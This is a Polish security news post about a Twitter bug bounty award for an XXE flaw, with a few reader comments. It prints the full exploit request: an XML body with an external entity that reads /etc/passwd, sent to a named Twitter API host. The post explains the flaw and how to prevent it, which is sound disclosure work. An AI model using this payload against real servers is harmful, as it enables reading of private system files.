Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Za jeden prosty XML zgarnął $10 000
Nagroda w wysokości $10 800 została przyznana niedawno w ramach bug bounty Twittera.
Jeden z serwerów, a dokładnie jedno z API, było podatne na opisywaną przez nas już dwukrotnie podatność XXE.
XML wyglądał jak poniżej, a autor badania do oryginalnego XML-a dołożył tylko oznaczone linijki:
POST /api/sxmp/1.0 HTTP/1.1 Host: sms-be-vip.twitter.com Connection: close Content-Type: text/xml Content-Length: 481 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <operation type="deliver"> <account username="abc" password="a"/> <deliverRequest referenceId="MYREF102020022"> <operatorId>&file;</operatorId> <sourceAddress type="network">40404</sourceAddress> <destinationAddress type="international">123</destinationAddress> <text encoding="ISO-8859-1">a</text> </deliverRequest> </operation> </code>
Podatność umożliwiała na czytanie plików z serwera czy zmuszanie serwera do wykonania requestów HTTP na dowolny adres.
Jeśli przetwarzasz XML-e po stronie serwerowej – warto sprawdzić więc czy wyłączyłeś przetwarzanie encji zewnętrznych (domyślnie jest to bardzo często włączone).
–ms
Skoro taka firma ma takie bugi, to jak „zwykły” admin serwera www ma to wszystko ogarnąć?
Chyba as jakieś domyślne restrykcyjne configi, które mają wszystko wyłączone domyślnie, jak więc taki błąd mógł się trafić Twitterowi?
To akurat bardziej kwestia developera aplikacji niż admina.
Skąd Twitter pobierał tego XML’a?
To raczej umożliwiał wysyłkę do siebie – w nagłówku host więcej info.